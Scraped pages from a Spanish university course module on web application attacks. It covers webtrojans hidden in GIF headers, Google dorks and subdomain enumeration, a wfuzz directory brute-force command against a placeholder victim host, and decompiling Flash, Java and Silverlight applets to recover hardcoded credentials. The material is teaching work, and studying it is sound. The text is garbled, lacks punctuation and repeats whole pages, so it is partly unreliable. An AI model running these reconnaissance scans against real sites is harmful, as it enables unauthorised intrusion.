Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 60: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 61: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

